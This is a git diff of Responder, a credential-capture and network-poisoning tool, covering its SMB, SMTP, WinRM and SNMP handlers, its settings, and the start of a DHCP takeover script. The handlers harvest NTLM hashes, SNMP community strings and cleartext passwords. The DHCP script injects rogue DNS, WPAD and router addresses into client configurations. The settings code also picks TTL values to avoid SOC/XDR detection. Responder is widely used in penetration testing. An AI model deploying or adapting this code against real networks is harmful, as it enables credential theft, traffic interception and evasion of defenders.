Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data))) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
Body.calculate() Body.calculate()
@ -339,7 +336,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.settimeout(1) self.request.settimeout(1)
data = self.request.recv(1024) data = self.request.recv(1024)
Challenge = RandomChallenge() Challenge = RandomChallenge()
if data[0:1] == b"\x81": #session request 139 if data[0] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
@ -361,11 +358,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))
else: else:
ParseLMNTHash(data,self.client_address[0], Challenge) ParseLMNTHash(data,self.client_address[0], Challenge)
if settings.Config.ErrorCode: head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty()) Packet = str(head) + str(SMBSessEmpty())
Buffer = StructPython2or3('>i', str(Packet))+str(Packet) Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))

View file

@ -65,7 +65,7 @@ class ESMTP(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
if data: if data:
try: Password = b64decode(data).decode('latin-1') try: Password = b64decode(data)
except: Password = data except: Password = data
SaveToDb({ SaveToDb({

View file

@ -1,62 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from binascii import hexlify
from pyasn1.codec.ber.decoder import decode
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
class SNMP(BaseRequestHandler):
def handle(self):
data = self.request[0]
received_record, rest_of_substrate = decode(data)
snmp_version = int(received_record['field-0'])
if snmp_version == 3:
full_snmp_msg = hexlify(data).decode('utf-8')
received_record_inner, _ = decode(received_record['field-2'])
snmp_user = str(received_record_inner['field-3'])
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
SaveToDb({
"module": "SNMP",
"type": "SNMPv3",
"client" : self.client_address[0],
"user": snmp_user,
"hash": auth_params,
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
})
else:
community_string = str(received_record['field-1'])
snmp_version = '1' if snmp_version == 0 else '2c'
SaveToDb(
{
"module": "SNMP",
"type": "Cleartext SNMPv{}".format(snmp_version),
"client": self.client_address[0],
"user": community_string,
"cleartext": community_string,
"fullhash": community_string,
}
)

View file

@ -125,18 +125,14 @@ def PacketSequence(data, client, Challenge):
return Buffer return Buffer
else: else:
if settings.Config.Basic: if settings.Config.Basic:
r = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) print(text("[WinRM] Sending BASIC authentication request to %s" % client))
else: else:
r = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) print(text("[WinRM] Sending NTLM authentication request to %s" % client))
return Response return Response
@ -179,6 +175,6 @@ class WinRM(BaseRequestHandler):
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))
except: except:
self.request.close() raise
pass pass

241
settings.py Normal file → Executable file
View file

@ -23,7 +23,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 3.1.6.0' __version__ = 'Responder 3.0.7.0'
class Settings: class Settings:
@ -42,56 +42,25 @@ class Settings:
return str.upper() == 'ON' return str.upper() == 'ON'
def ExpandIPRanges(self): def ExpandIPRanges(self):
def expand_ranges(lst): def expand_ranges(lst):
ret = [] ret = []
for l in lst: for l in lst:
if ':' in l: #For IPv6 addresses, similar to the IPv4 version below but hex and pads :'s to expand shortend addresses tab = l.split('.')
while l.count(':') < 7: x = {}
pos = l.find('::') i = 0
l = l[:pos] + ':' + l[pos:] for byte in tab:
tab = l.split(':') if '-' not in byte:
x = {} x[i] = x[i+1] = int(byte)
i = 0 else:
xaddr = '' b = byte.split('-')
for byte in tab: x[i] = int(b[0])
if byte == '': x[i+1] = int(b[1])
byte = '0' i += 2
if '-' not in byte: for a in range(x[0], x[1]+1):
x[i] = x[i+1] = int(byte, base=16) for b in range(x[2], x[3]+1):
else: for c in range(x[4], x[5]+1):
b = byte.split('-') for d in range(x[6], x[7]+1):
x[i] = int(b[0], base=16) ret.append('%d.%d.%d.%d' % (a, b, c, d))
x[i+1] = int(b[1], base=16)
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
for e in range(x[8], x[9]+1):
for f in range(x[10], x[11]+1):
for g in range(x[12], x[13]+1):
for h in range(x[14], x[15]+1):
xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h))
xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address
xaddr = re.sub(':{3,7}', '::', xaddr, count = 7)
ret.append(xaddr)
else:
tab = l.split('.')
x = {}
i = 0
for byte in tab:
if '-' not in byte:
x[i] = x[i+1] = int(byte)
else:
b = byte.split('-')
x[i] = int(b[0])
x[i+1] = int(b[1])
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
ret.append('%d.%d.%d.%d' % (a, b, c, d))
return ret return ret
self.RespondTo = expand_ranges(self.RespondTo) self.RespondTo = expand_ranges(self.RespondTo)
@ -115,29 +84,21 @@ class Settings:
config = ConfigParser.ConfigParser() config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Poisoners
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
# Servers # Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP'))
# Db File # Db File
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
@ -153,93 +114,14 @@ class Settings:
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog')) self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump')) self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
self.ErrorCode = options.ErrorCode
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
if options.TTL is None:
self.TTL = None
# Random TTL
elif options.TTL.upper() == "RANDOM":
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
if TTL in TTL_blacklist:
TTL = int.from_bytes(TTL, "big")+1
TTL = int.to_bytes(TTL, 4)
self.TTL = TTL.decode('utf-8')
else:
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
#Do we have IPv6 for real?
self.IPv6 = utils.Probe_IPv6_socket()
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
#IPV4
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
#IPV6
if self.Interface == "ALL":
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
else:
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
#External IP
if self.ExternalIP:
if utils.IsIPv6IP(self.ExternalIP):
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.ExternalResponderIP = utils.RespondWithIP()
else:
self.ExternalResponderIP = self.Bind_To
#External IPv6
if self.ExternalIP6:
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
self.ExternalResponderIP6 = utils.RespondWithIP6()
else:
self.ExternalResponderIP6 = self.Bind_To6
self.Os_version = sys.platform
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt')
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt')
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
@ -262,22 +144,12 @@ class Settings:
self.WPAD_Script = config.get('HTTP Server', 'WPADScript') self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if len(self.HtmlToInject) == 0:
self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
if len(self.WPAD_Script) == 0:
if self.WPAD_On_Off:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
if self.ProxyAuth_On_Off:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
if self.Serve_Exe == True: if self.Serve_Exe == True:
if not os.path.exists(self.Html_Filename): if not os.path.exists(self.Html_Filename):
print(utils.color("/!\\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if not os.path.exists(self.Exe_Filename): if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# SSL Options # SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey') self.SSLKey = config.get('HTTPS Server', 'SSLKey')
@ -287,14 +159,10 @@ class Settings:
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')])) self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#add a .local to all provided DontRespondToName
self.MDNSTLD = ['.LOCAL']
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
#Generate Random stuff for one Responder session #Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL' self.DomainName = self.Domain + '.LOCAL'
@ -306,6 +174,44 @@ class Settings:
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
self.AutoIgnoreList = [] self.AutoIgnoreList = []
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
if self.HtmlToInject == None:
self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
# Set up Challenge # Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge') self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random': if self.NumChal.lower() == 'random':
@ -343,14 +249,7 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log') self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler) self.AnalyzeLogger.addHandler(ALog_Handler)
# First time Responder run?
if os.path.isfile(self.ResponderPATH+'/Responder.db'):
pass
else:
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1")
try: try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"]) NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except: except:
@ -360,12 +259,10 @@ class Settings:
NetworkCard = "Error fetching Network Interfaces:", ex NetworkCard = "Error fetching Network Interfaces:", ex
pass pass
try: try:
p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT) DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
DNS = p.stdout.read() except subprocess.CalledProcessError as ex:
except: DNS = "Error fetching DNS configuration:", ex
p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) pass
DNS = p.stdout.read()
try: try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"]) RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except: except:
@ -375,10 +272,10 @@ class Settings:
RoutingInfo = "Error fetching Routing information:", ex RoutingInfo = "Error fetching Routing information:", ex
pass pass
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try: try:
utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump, Message)
#utils.DumpConfig(self.ResponderConfigDump,str(self)) utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex: except AttributeError as ex:
print("Missing Module:", ex) print("Missing Module:", ex)
pass pass

360
tools/DHCP.py Executable file
View file

@ -0,0 +1,360 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import optparse
import configparser
import os
import codecs
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict
from utils import *
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
options, args = parser.parse_args()
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if options.Interface is None:
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
exit(-1)
elif options.RouterIP is None:
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
exit(-1)
elif options.DNSIP is None:
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
exit(-1)
elif options.DNSIP2 is None:
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
exit(-1)
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
print('#############################################################################')
print('## DHCP INFORM TAKEOVER 0.3 ##')
print('## ##')
print('## By default, this script will only inject a new DNS/WPAD ##')
print('## server to a Windows <= XP/2003 machine. ##')
print('## ##')
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
print('## any linux box, use -R (can be noisy) ##')
print('## ##')
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
print('#############################################################################')
print('')
print(color('[*]', 2, 1), 'Listening for events...')
config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = options.Interface
Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
DHCPSERVER = Responder_IP
DNSIP = options.DNSIP
DNSIP2 = options.DNSIP2
DNSNAME = options.DNSNAME
WPADSRV = options.WPAD.strip() + "\\n"
Spoof = options.Spoof
Respond_To_Requests = options.Respond_To_Requests
if Spoof:
DHCPSERVER = ROUTERIP
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
def calculate(self):
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
